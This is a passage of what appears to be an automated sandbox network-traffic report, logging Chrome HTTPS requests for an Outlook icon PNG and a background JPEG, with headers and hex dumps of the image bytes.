2024-04-29 00:01:39 UTC	16384	IN	Data Raw: 5b db c3 1a 0c b4 92 cd 35 b2 47 1a 28 e5 99 98 28 1c 92 05 7c 03 f1 f3 fe 0a 71 fb 29 7c 3d 8a 6b 4b bf 19 b7 8b 3c 49 a5 19 d2 2f 0f 78 02 28 fc 4e f3 cf 28 40 d1 5c ea fe 65 86 89 62 23 68 55 5b 75 fc d2 7e f3 3e 57 ca 03 7f 2d 3f 16 bf 6a 2f 8f 1f 1b ee 65 97 e2 2f c4 8f 11 6b 36 72 3b 3a 68 91 5e 36 9d a0 40 18 e4 24 5a 36 9f f6 6d 3c 2a f0 15 a4 82 49 0e 01 69 19 b2 6b c0 49 24 e4 92 4f a9 39 35 fc d7 c5 5f 4a bc 75 6f 69 87 e0 ec 82 96 0e 0d 38 c3 32 ce e6 b1 18 9d 76 9d 3c bf 0d 38 e1 e9 49 6e bd ae 2b 15 17 d6 99 fd dd e1 df ec ec ca 70 de c3 1b e2 87 19 62 33 3a ab 96 75 32 2e 13 a6 f0 58 25 25 66 e9 56 ce b1 f4 a7 8c c4 d3 7a c6 5f 57 cb f2 ea 8b 78 56 ea 7e c1 7c 68 ff 00 82 c0 fc 63 f1 69 bc d3 3e 12 78 77 48 f8 6d a4 48 64 8e 1d 5a f1 53 c4 Data Ascii: [5G((\|q)\|=kK<I/x(N(@\eb#hU[u~>W-?j/e/k6r;:h^6@$Z6m<*IikI$O95_Juoi82v<8In+pb3:u2.X%%fVz_WxV~\|hci>xwHmHdZS
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: 97 5f fb 7b af 43 af f4 1f 26 f0 4b c3 0c 93 92 58 7e 14 c0 e2 ea c2 df be cd a7 5f 35 94 9a b7 bc e9 e3 aa d6 c3 a7 75 7f 72 84 57 64 91 fe 2c 71 47 d2 c3 c7 fe 2c f6 90 c6 f8 8b 9b 65 b8 6a 97 5f 55 e1 ca 78 4e 1e a7 08 bb fb b1 ad 95 50 c3 63 64 ad a7 ef 71 75 25 de 4d ea 78 5f 80 7f 66 3f d9 ef e1 72 44 9e 01 f8 39 f0 f7 c3 52 43 8f 2e ee c7 c3 3a 63 6a 01 97 f8 ce a3 71 04 d7 ed 21 ea d2 35 c1 76 3c 96 26 b2 56 38 e3 1b 23 44 8d 17 21 55 15 51 40 cf 40 aa 00 03 d8 0a fa 2a be 79 60 72 78 3d 4f 63 eb 5f a5 e0 f0 18 1c be 92 a1 80 c1 61 30 34 22 ad 1a 38 4c 3d 1c 35 24 92 49 5a 9d 18 42 0b 44 96 8b a1 f8 3e 67 9c 66 f9 d6 26 58 cc e7 35 cc 73 6c 5c db 73 c5 66 78 ec 4e 3f 11 36 dd db 95 6c 55 5a b5 25 77 de 4c 6d 7a 2f 80 ba 6a bf 5b 2f e5 77 5e 77 83 Data Ascii: _{C&KX~_5urWd,qG,ej_UxNPcdqu%Mx_f?rD9RC.:cjq!5v<&V8#D!UQ@@*y`rx=Oc_a04"8L=5$IZBD>gf&X5sl\sfxN?6lUZ%wLmz/j[/w^w
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: ff 00 81 a3 ff 00 91 29 78 f1 b8 ef a6 7f 66 1f fa fc f3 be d9 ff 00 80 be 5f 97 f6 5f f6 f7 6f fe 1d bc f9 cd 7a 2f 80 ba 6a bf 5b 2f e5 77 40 07 fc 20 43 fe 82 a7 ff 00 00 87 ff 00 25 d0 3c 04 01 07 fb 54 f1 cf fc 79 0f fe 4b af 43 a2 80 3c f0 f8 f4 02 47 f6 51 e3 8f f8 fd 1f fc 89 47 fc 27 a3 fe 81 47 ff 00 03 47 ff 00 22 57 9d b7 53 f5 3f ce 92 80 3d 1b 8f 1b 8e fa 67 f6 61 ff 00 af cf 3b ed 9f f8 0b e5 f9 7f 65 ff 00 6f 76 ff 00 e1 db ca 7f c2 04 3f e8 2a 7f f0 08 7f f2 5d 1e 02 e9 aa fd 6c bf 95 dd 7a 1d 00 79 e0 f0 10 04 1f ed 53 c7 3f f1 e4 3f f9 2e 83 e3 d0 09 1f d9 47 8e 3f e3 f4 7f f2 25 7a 1d 7c f0 dd 4f d4 ff 00 3a 00 f4 4f f8 4f 47 fd 02 8f fe 06 8f fe 44 a5 e3 c6 e3 be 99 fd 98 7f eb f3 ce fb 67 fe 02 f9 7e 5f d9 7f db dd bf f8 76 f3 e7 35 Data Ascii: )xf__oz/j[/w@ C%<TyKC<GQG'GG"WS?=ga;eov?*]lzyS??.G?%z\|O:OOGDg~_v5
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: ff 00 80 be 5f 97 f6 5f f6 f7 6f fe 1d bc 80 79 cd 2a f5 1f 51 fc eb d1 3f e1 02 1f f4 15 3f f8 04 3f f9 2e 81 e0 20 08 3f da a7 8e 7f e3 c8 7f f2 5d 00 7c 2d ff 00 05 6f ff 00 93 1c f8 9d ff 00 61 4f 06 ff 00 ea 4d a7 d7 f1 97 5f d8 17 fc 15 6b c5 a3 53 fd 8a be 24 d9 7d 83 c9 f3 35 4f 08 7e f3 ed 3e 66 36 78 92 c1 be e7 d9 d3 ae 3f bd 5f c7 ed 7f 9f bf 4a 7f f9 38 39 6f fd 92 f8 1f fd 58 66 87 fb 41 fb 3d 3f e4 ca 67 bf f6 70 b3 8f fd 52 70 e0 51 45 15 fc d2 7f 78 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 7e f5 ff 00 c1 06 bf e4 ac 7c 74 ff 00 b1 03 40 ff 00 d4 81 ab f0 52 bf 73 bf e0 86 fa df f6 27 c5 2f 8d 92 9b 6f b4 f9 fe 04 d0 a3 db e7 79 3b 76 eb ac d9 cf 95 2e 73 d3 18 1f 5a fd 67 c0 cf f9 Data Ascii: __oy*Q???. ?]\|-oaOM_kS$}5O~>f6x?_J89oXfA=?gpRpQExQ@Q@Q@Q@Q@Q@Q@Q@~\|t@Rs'/oy;v.sZg
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: f2 fe cb fe de ed ff 00 c3 b7 9f 39 af 45 f0 17 4d 57 eb 65 fc ae e8 00 ff 00 84 08 7f d0 54 ff 00 e0 10 ff 00 e4 ba 07 80 80 20 ff 00 6a 9e 39 ff 00 8f 21 ff 00 c9 75 e8 74 50 07 9e 1f 1e 80 48 fe ca 3c 71 ff 00 1f a3 ff 00 91 28 ff 00 84 f4 7f d0 28 ff 00 e0 68 ff 00 e4 4a f3 b6 ea 7e a7 f9 d2 50 07 a3 71 e3 71 df 4c fe cc 3f f5 f9 e7 7d b3 ff 00 01 7c bf 2f ec bf ed ee df fc 3b 79 4f f8 40 87 fd 05 4f fe 01 0f fe 4b a3 c0 5d 35 5f ad 97 f2 bb af 43 a0 0f 3c 1e 02 00 83 fd aa 78 e7 fe 3c 87 ff 00 25 d0 7c 7a 01 23 fb 28 f1 c7 fc 7e 8f fe 44 af 43 af 9e 1b a9 fa 9f e7 40 1e 89 ff 00 09 e8 ff 00 a0 51 ff 00 c0 d1 ff 00 c8 94 bc 78 dc 77 d3 3f b3 0f fd 7e 79 df 6c ff 00 c0 5f 2f cb fb 2f fb 7b b7 ff 00 0e de 7c e6 bd 17 c0 5d 35 5f ad 97 f2 bb a0 03 fe 10 Data Ascii: 9EMWeT j9!utPH<q((hJ~PqqL?}\|/;yO@OK]5_C<x<%\|z#(~DC@Qxw?~yl_//{\|]5_
2024-04-29 00:01:39 UTC	11378	IN	Data Raw: c9 f2 4a 52 b3 95 2a 2e b6 6b 8c 8e d7 4e 14 96 1f 08 9e ea f1 c6 4d 5d 6d 63 f9 6f 8b ff 00 68 6f 86 19 57 b5 a3 c2 1c 33 c4 dc 5b 88 8d d5 3c 46 29 61 b8 77 2b a8 fa 4a 35 b1 0f 1b 99 38 b7 ad a7 95 d2 76 ea 99 fc 56 fc 3a fd 8b bf 69 df 8a 46 07 f0 a7 c1 ff 00 17 35 95 c1 5f 2f 55 d6 6c 1b c3 da 59 56 c6 24 17 ba d9 b1 8a 48 f9 c9 78 8c 80 57 e8 a7 c1 bf f8 22 5f c6 2f 1a 3f da 3e 24 fc 46 f0 97 80 ec e1 f2 1a e6 cb 48 b7 bb f1 56 ae ab 30 7c a2 ed 3a 66 9a b2 27 96 c0 95 bd 9e 3e 46 0b 73 8f ea a0 2a a8 01 54 28 1c 00 00 00 0f 40 05 79 ef 8f 49 03 4a c1 c7 37 bd 3f ed d2 bf 66 c8 be 8b fc 03 97 7b 3a 99 be 27 38 e2 0a d1 b3 9c 2b 62 63 97 e0 e4 d5 b6 a1 81 8c 31 2a 37 be 92 c6 cf 47 66 d9 fc b7 c5 ff 00 b4 03 c6 4c f3 da d1 e1 ac 07 0c f0 66 1a 77 54 Data Ascii: JR.kNM]mcohoW3[<F)aw+J58vV:iF5_/UlYV$HxW"_/?>$FHV0\|:f'>FsT(@yIJ7?f{:'8+bc1*7GfLfwT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49784	104.18.42.227	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:39 UTC	580	OUT	GET /very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png HTTP/1.1 Host: image.similarpng.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=AbOvQQV3UiJ5GXNC36BkMdW5TFY9QpdxtBK3OO3Hawk-1714348898-1.0.1.1-Dj8492r8f21t6xyh9JyPA1VJVTsdCZrzr3lLshorXAtFCRt9wDoxx8pd.ybG8fJiAYQvQFyCR4aCtD1iWloGaQ
2024-04-29 00:01:39 UTC	683	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:39 GMT Content-Type: image/png Content-Length: 69286 Connection: close last-modified: Mon, 13 Sep 2021 14:14:39 GMT x-rgw-object-type: Normal etag: "023bff6503a7c777fb61eb08bc9ce84a" x-amz-request-id: tx000000000000071d9ee72-00656a349a-4d33653d-nyc3b vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method strict-transport-security: max-age=15552000; includeSubDomains; preload x-do-cdn-uuid: 072a0ebe-bbef-4350-ab6e-e04d2ac99d6c Cache-Control: max-age=3600 x-envoy-upstream-healthchecked-cluster: CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Server: cloudflare CF-RAY: 87bb04ce0f606168-ORD
2024-04-29 00:01:39 UTC	686	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 02 58 08 02 00 00 00 31 04 0f 8b 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 20 00 49 44 41 54 78 9c ec bd 79 b8 65 49 55 27 ba d6 1d 72 a8 ac ca cc ca 2c 6a 1e 20 6b 1e 18 aa 90 a1 40 94 41 b1 00 01 41 05 2d 1a e9 87 fa 68 1b 6d 7d dd ed d4 7e b6 ad b6 e3 1b 3e 5a 6d 15 f9 1c 51 51 db 09 10 6d a5 a5 11 1f 36 e2 43 e9 a6 28 0a 8a aa ac 1c 6b ca bc 79 f3 de cc 7b ef 19 d7 fb 23 62 45 ac 88 58 11 e7 9c 9b 99 b7 f2 72 d6 ef ab ba f9 3b 7b c7 bc f7 8e 15 eb b7 d7 de 1b 89 08 c6 c6 89 13 27 c6 4f 0c 00 17 5f 7c b1 95 6c 25 5b c9 56 b2 95 6c 25 9f cf 25 cf 4c d4 08 83 c1 60 30 18 be c4 60 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 Data Ascii: PNGIHDRXX1pHYs+ IDATxyeIU'r,j k@AA-hm}~>ZmQQm6C(ky{#bEXr;{'O_\|l%[Vl%%L`0``0S3`j!4T
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: 66 08 0d 06 83 c1 30 d5 30 43 68 30 18 0c 86 a9 86 19 42 83 c1 60 30 4c 35 cc 10 1a 0c 06 83 61 aa 61 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 60 30 18 a6 1a f6 19 26 83 c1 60 30 4c 35 90 88 c6 4f bd 19 bf af 61 25 5b c9 56 b2 95 6c 25 5b c9 0d 98 34 6a 30 18 0c 86 a9 86 19 42 83 c1 60 30 4c 35 cc 10 1a 0c 06 83 61 aa 61 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 60 30 18 a6 1a 66 08 0d 06 83 c1 30 d5 30 43 68 30 18 0c 86 a9 86 19 42 83 c1 60 30 4c 35 cc 10 1a 0c 06 83 61 aa 61 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a d8 67 98 0c 06 83 c1 30 d5 98 9b 34 c3 a6 fb be 86 95 6c 25 5b c9 56 b2 95 6c 25 37 60 d2 a8 c1 60 30 18 a6 1a 66 08 0d 06 83 c1 30 d5 30 43 68 30 18 Data Ascii: f00Ch0B`0L5aa`0S3`j!4T`0&`0L5Oa%[Vl%[4j0B`0L5aa`0S3`j!4T`0f00Ch0B`0L5aa`0S3`jg04l%[Vl%7``0f00Ch0
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: 9d fe 70 ad 4f 6b 3d ef f6 0d 28 31 69 98 dd 90 93 51 33 65 d1 c0 5e 9c a8 02 00 00 8a 72 2a c8 7c 3d 0b 16 35 18 26 85 19 42 c3 97 2c 06 43 5a 58 ed 1f 5e ea 1e 3a d9 3d b8 d8 39 7c b2 7b 7c b5 3f 0c 11 25 e0 ac 0e fa d7 b3 88 17 75 02 25 8a e2 80 20 dc de 5b eb 0d bb 03 12 1f 78 60 fb 57 f1 b9 28 26 24 50 44 4b 2c ef ee e9 d2 28 65 2c 97 46 b1 29 8d 56 ef 1e 1a 0c 06 33 84 86 2f 25 f4 06 c3 47 16 3b ce f2 1d 3a d9 3d ba d4 3d d5 1d 22 4a 95 52 0f e9 64 87 cd 6f e9 0e c8 bf b4 65 40 1c d5 09 90 e6 4f 9c c7 3a 84 c2 89 a5 22 1a 82 45 85 e8 9a 4b a3 5c 10 48 eb 9d 6e f2 be 9f 2a 8d 42 62 e1 0d 06 83 02 33 84 86 4d 8c c5 d5 de a1 13 6b fb 17 56 0e 9c 58 7d 64 61 f5 c8 c9 b5 3e 45 71 92 88 c4 c7 f8 08 e2 93 ec 09 19 0c a9 33 18 ac f6 87 1d 7e 9e 21 46 a5 08 Data Ascii: pOk=(1iQ3e^r\|=5&B,CZX^:=9\|{\|?%u% [x`W(&$PDK,(e,F)V3/%G;:=="JRdoe@O:"EK\HnBb3MkVX}da>Eq3~!F
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: 97 3a dd 63 ec 27 3b e1 bd 2d 2e 89 bc 43 87 f9 26 00 00 20 a2 fe 90 c2 63 7c 9d fe b0 3b 10 8f ad b3 f0 38 4e 04 23 96 89 1a a4 b9 af b1 83 2a bb 26 0c 16 1d c3 ae 20 7f bd 29 09 16 1d b3 ed a0 49 a3 e3 46 bc e0 c8 b2 0d 06 83 80 19 c2 29 c2 4a 77 b0 ff 44 e7 c8 72 ef f0 52 ef f0 72 f7 b1 53 bd b5 1e 05 8f 21 b5 5c 65 9c 66 74 86 dc 63 7c e1 23 ec ee 71 06 18 26 33 77 19 ae 29 09 a5 4a 64 ed b6 96 4a 88 f3 4f 14 2c 9a d4 ae ec ca 1a 24 14 d1 54 1a 6d 9b a2 a0 f9 02 40 4d 1a 0d b7 3f 8b e6 a4 a4 29 8d e6 8a 28 13 82 78 43 33 93 46 9b 0d 37 18 a6 1a 66 08 bf 94 b1 b8 da 3b 70 62 ed c0 89 d5 83 8b 6b 07 4f ac 3d 71 aa 3b 20 1f b2 08 51 8e 23 08 8f e2 a5 1f 46 07 00 22 fe 0e 2d bf bd a5 db 1f 0e 49 66 e7 40 47 d6 00 9d 29 48 bf ff 90 45 b2 78 67 29 9a de 54 Data Ascii: :c';-.C& c\|;8N#*& )IF)JwDrRrS!\eftc\|#q&3w)JdJO,$Tm@M?)(xC3F7f;pbkO=q; Q#F"-If@G)HExg)T
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: e3 35 69 54 28 ca a0 4a a3 32 34 55 93 46 7d 5e 33 83 06 43 03 f6 19 a6 f5 63 b5 3f 7c fc 54 ff e8 72 ef c8 a9 fe a3 cb bd 23 a7 7a fd a1 9c bd c6 9a 7c 86 44 9d 01 75 fa 03 ff 48 03 bf b7 25 b5 14 d9 77 79 34 07 8a b2 4c e1 8e 9e 33 06 8a 65 14 64 c4 0b c4 46 65 e7 5b 90 aa 95 f3 cf 2d 54 3e a8 e4 0a 57 76 85 4e 60 ad f6 60 bc b9 95 e0 f5 e0 cc 92 a5 af fc ce 0a a2 10 45 24 3f ba 94 92 38 3c 4a ee e2 68 c9 83 e4 be 8b a4 ec 8a df dd 88 dd 48 db 2c fa 13 8f 43 71 5c b2 df 79 8a 18 61 04 f0 d6 3b 2f fd de 97 5c 03 06 83 a1 c0 c4 1e e1 a6 fb be c6 d9 2a 79 48 b4 d4 19 1e 5d ee 1d 3d d5 3b 7a aa 7f 74 b9 77 62 75 30 10 41 9d c2 75 28 d5 37 fe 4d 30 24 90 77 f8 ba fd 21 f1 8c 96 ce 6b b9 b8 49 89 ee 49 4a e1 4a a6 71 a5 d1 a4 6e d5 1c 8a 67 d5 4a 12 0b a8 89 Data Ascii: 5iT(J24UF}^3Cc?\|Tr#z\|DuH%wy4L3edFe[-T>WvN``E$?8<JhH,Cq\ya;/\*yH]=;ztwbu0Au(7M0$w!kIIJJqngJ
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: b9 34 ea 6e fa f2 48 e7 15 c8 66 ea 9b eb b5 81 7c 6f 7a de 6e b3 86 06 43 15 66 08 2b 60 43 95 de a9 aa a5 75 48 a4 51 af 8c f1 16 59 68 94 46 a9 28 a3 b0 37 fe 79 be 7c 17 a5 ba a3 96 9b 42 17 b8 7d ba 34 ea 69 84 7c 06 3b 0a a1 b9 34 9a bd 23 3b 57 29 79 4b 4d 01 4c 1a af 8e f1 a8 fc 31 53 5d 35 5d 87 34 9a 07 8b a2 38 80 a2 46 ca e9 04 51 a3 cd 8e c9 fd 8a 34 1a ca ac 4b a3 fa 68 6a 1b 0d 06 03 80 49 a3 55 f0 34 5a 53 44 fd 04 49 52 3b 94 de 20 7b 27 0d 69 34 e8 5c 6c 3f 33 42 4d 7f a3 f4 38 0b dd b2 a6 88 12 20 b1 e0 c7 8a 68 2a 8d 72 55 ba 34 1a fa 2e 49 29 8d 22 ea d2 68 f8 2f 55 68 53 12 ba 5a 68 9a 14 24 42 cc 2b 95 3a 60 55 11 0d c7 17 25 49 85 d0 ba 34 1a ec 68 43 1a 65 21 53 91 46 43 39 eb 93 46 c9 19 eb 4c 11 15 63 ee 57 4e be 75 58 f6 db 60 Data Ascii: 4nHf\|oznCf+`CuHQYhF(7y\|B}4i\|;4#;W)yKML1S]5]48FQ4KhjIU4ZSDIR; {'i4\l?3BM8 h*rU4.I)"h/UhSZh$B+:`U%I4hCe!SFC9FLcWNuX`
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: 52 35 5f 36 e5 d6 d2 14 ea 5b 21 8d 36 94 43 df 09 d2 76 25 6d d0 89 74 9f 55 02 cd 5d 1c 12 c9 e3 13 6b cf db a1 6e 61 e1 b1 da c1 76 3b 32 d1 35 23 d2 97 aa 74 9d 97 01 1a e1 00 25 77 a8 03 89 1d 14 47 27 ed 97 ff 3d 4a 0c 67 67 3b 59 10 04 16 0f a8 99 43 83 a1 0a 33 84 3a d6 21 8d 3a fd 92 cd 5a 4e b2 58 ca ac 36 00 00 f5 01 fc 54 1a 55 15 51 8c 29 29 69 a9 db ca 0e 2b a4 da a7 b7 00 81 80 37 ef ce b1 55 a5 51 55 11 75 04 82 06 18 b6 e4 23 d7 96 46 89 b2 c6 7b 32 9e 34 1a ed cd b8 28 14 63 b5 76 e0 36 8b 91 2b a4 51 5f 60 45 1a f5 3d cd 77 c5 72 1a 2d 0c ac ae 88 72 e5 b5 1f 20 c4 02 83 c1 50 81 49 a3 3a d6 21 8d d6 14 51 9e f0 42 81 19 89 d2 a8 97 b1 34 69 14 80 27 6b 80 ba 34 ea 4a 42 95 a4 9a e9 64 d2 28 48 d9 53 23 c0 0b 04 cc 49 b0 83 55 69 94 e3 Data Ascii: R5_6[!6Cv%mtU]knav;25#t%wG'=Jgg;YC3:!:ZNX6TUQ))i+7UQUu#F{24(cv6+Q_`E=wr-r PI:!QB4i'k4JBd(HS#IUi
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: cf a5 d1 a6 72 e8 b7 50 9a b4 9c be 9b 44 51 f5 20 47 ab 98 7a 53 45 15 6a 2f 92 5a cb 0e 36 5a 08 41 b3 6d 89 ae 5a 76 2e b8 70 ac 74 8f 1b 40 97 46 fd 82 2a 5f 6c a4 4d 4c da 90 34 8f 35 87 54 11 0d a4 5e aa 19 43 83 a1 01 33 84 3a 46 4a a3 22 58 54 97 46 5d 72 39 fd 94 d2 68 aa 92 61 46 28 9a 42 4f 84 a0 e9 26 c0 3c 45 26 02 56 a5 51 f0 c6 5c 95 23 5d c1 d4 88 1a 75 ff fa 59 5e 95 46 43 61 d5 60 51 8a b7 3e 27 93 46 7d bf 49 7d db 75 3e bc 59 0a de 3e 76 b0 68 21 8d 8a e1 53 a4 d1 fc 5b 54 90 4b a3 69 eb 72 08 bd 58 97 46 c1 fb b2 55 10 9f 36 f9 c9 34 9e 34 6a 30 4c 27 4c 1a d5 31 52 1a 4d 15 d1 5c 1a 95 c1 a2 0d 69 d4 4d ed e8 9d c7 22 58 94 53 a8 d2 a8 2f 4c 93 46 f9 e6 59 53 1a ad 13 d2 77 e9 c1 a2 81 a0 32 6a 50 97 46 b9 ec bc 85 28 92 8e 80 2a 2e Data Ascii: rPDQ GzSEj/Z6ZAmZv.pt@F_lML45T^C3:FJ"XTF]r9haF(BO&<E&VQ\#]uY^FCa`Q>'F}I}u>Y>vh!S[TKirXFU644j0L'L1RM\iM"XS/LFYSw2jPF(.
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: 65 eb d3 92 2b 23 2f 8f 4c 59 94 df a3 28 a2 81 8c 94 46 a3 d3 56 91 46 d3 35 51 2e 8d 4a d5 22 f6 a4 38 34 e3 4b a3 e7 db 35 68 25 5b c9 1b 53 f2 dc f8 1f aa 98 a8 5c 87 f3 e1 fb 1a eb 2b 79 6e cb 31 45 1a d5 83 45 83 63 48 6d 5d 14 a0 b6 30 67 8f 4f b7 53 85 31 f0 33 5e fa 61 7a 37 0f 36 a4 d1 64 26 cc e5 43 f9 2d 79 97 33 93 46 6b c1 a2 41 cf 83 8a 34 ca 8a 68 1e 2c 1a 49 68 93 26 8d 26 23 9f ef cb bb 90 1e 2d f6 9f 45 ed 4a a2 50 f9 64 c1 a2 c1 cb d2 82 45 03 81 b1 a4 51 a9 88 4e 2a 8d 96 bf 6b d2 e8 b6 6d db da 57 cd f9 76 0d 5a c9 56 f2 86 95 6c d2 a8 8e 52 1a 75 7f 6a d2 28 f8 5d 2d 69 94 0b 54 a4 51 88 33 7c 55 1a a5 9c c8 e7 e8 9b 0f d4 87 e7 dd 63 8a 5c 1a 55 c3 47 b9 ef 3c af 87 df 39 09 99 75 69 34 0c 6a d9 42 2a b6 a8 ce 17 15 c4 57 5a cb 9d Data Ascii: e+#/LY(FVF5Q.J"84K5h%[S\+yn1EEcHm]0gOS13^az76d&C-y3FkA4h,Ih&&#-EJPdEQNkmWvZVlRuj(]-iTQ3\|Uc\UG<9ui4jBWZ
2024-04-29 00:01:39 UTC	1369	IN	Data Raw: 03 f5 96 2f 06 8b 56 a5 d1 70 67 27 b7 29 de a5 6b 08 8f 89 45 2a 5d 8b 60 0f d6 27 8d 92 5e 6a 70 58 e4 08 28 a4 aa 3b ba dc 7a f6 38 04 94 6e c9 2c ee b8 b1 a6 15 69 74 44 b0 28 a6 c7 86 73 85 24 6d 51 54 2b 38 91 46 d9 9b f4 5b 14 69 34 17 9c f3 be 0b df 35 d6 e4 d7 58 ed a8 2a 46 aa 88 06 92 a5 32 18 0c 11 66 08 75 84 57 36 d6 a4 d1 24 b4 d0 e5 10 06 44 d5 45 b3 2d e9 db 24 4b 63 84 fc 43 5a 32 b7 0f 9d 76 5b dc 95 4a 3d 57 28 e6 48 59 79 9a 55 4a a3 14 15 51 55 1a 8d 4d f0 55 4c 18 35 0a d9 4b 50 65 9b f2 46 b5 15 4c 67 24 0a 69 b4 fe 5e 53 21 9b b6 0a 6e 44 8d 46 e9 b4 22 8d 8a d7 9a ea 0b 0c fe e8 12 e8 d2 a8 bf fb aa 4b a3 7a 24 69 9a a2 62 29 cd 27 34 18 aa 30 69 b4 06 24 6a 4a a3 00 80 2d 69 94 58 d6 82 40 20 ba 68 f1 35 d0 c9 a2 1f c4 4d 1e 41 Data Ascii: /Vpg')kE]`'^jpX(;z8n,itD(s$mQT+8F[i45XF2fuW6$DE-$KcCZ2v[J=W(HYyUJQUMUL5KPeFLg$i^S!nDF"Kz$ib)'40i$jJ-iX@ h5MA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49782	199.36.158.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:39 UTC	362	OUT	GET /init-background.jpeg HTTP/1.1 Host: hiirscktcy.web.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:39 UTC	593	IN	HTTP/1.1 200 OK Connection: close Content-Length: 72003 Cache-Control: max-age=3600 Content-Type: image/jpeg Etag: "ffbe2bad84ec145d6f485e06bef060ede8d5c6061b0b6c5cad4693d02206c802" Last-Modified: Thu, 07 Dec 2023 11:28:31 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:39 GMT X-Served-By: cache-chi-kigq8000128-CHI X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1714348899.473771,VS0,VE2 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: ff d8 ff ee 00 21 41 64 6f 62 65 00 64 40 00 00 00 01 03 00 10 03 02 03 06 00 00 00 00 00 00 00 00 00 00 00 00 ff db 00 84 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 01 01 01 01 01 01 01 01 01 01 01 02 02 01 02 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 ff c2 00 11 08 01 4f 02 9e 03 01 11 00 02 11 01 03 11 01 ff c4 01 2a 00 00 01 04 03 01 01 01 00 00 00 00 00 00 00 00 00 04 03 05 06 07 00 02 08 01 09 0a 01 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 07 08 09 10 00 01 03 03 03 Data Ascii: !Adobed@O*
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: 9d 91 0e a8 3d db a6 9e 8d ee 9b d1 68 fd 5d 37 b1 7b 3f 5d 5d 6a e8 53 7b 5c 03 3a 08 f5 54 12 a1 d7 65 97 65 91 30 e8 ec cb b8 2b b8 3d 3f e3 fd 06 f7 eb 74 2d 28 dc da 0d 45 ad 2f e8 fe 8e bb cf 1b 81 b9 20 57 99 7b f8 da df 31 90 91 da d3 3e 4b f5 39 e2 6d 1e c1 ed a7 6b b1 92 2b 77 8a 0c 40 61 e5 fa 37 ce d6 b4 de 56 53 35 e7 1c ef 39 ad 67 b4 2c 36 46 e4 5b 13 77 a9 5a cd a8 39 15 a9 60 72 05 20 74 f6 55 2a 95 4a a1 55 0f 52 6f 47 64 3f 90 f4 fe c9 fd dc 45 9a 91 eb ee 8b d8 bf 17 f7 e9 53 2a 85 0a 6f 6b 89 df 41 9f d7 e4 3a f9 0e bf 60 4b f6 04 8a e5 f5 7b b7 65 dc 75 dc 7d 3f a5 e9 a2 76 d5 3b 50 ad e5 67 57 f6 dd d4 30 90 b4 e0 e4 fd b7 66 d5 63 ee 18 0a 22 69 03 39 8d 0b a1 c0 d9 45 6a 3b 82 fe 3c 10 6d ec ec 19 86 c0 46 d9 3b 5b d8 b1 b8 1b dc Data Ascii: =h]7{?]]jS{\:Tee0+=?t-(E/ W{1>K9mk+w@a7VS59g,6F[wZ9`r tUJURoGd?ESokA:`K{eu}?v;PgW0fc"i9Ej;<mF;[
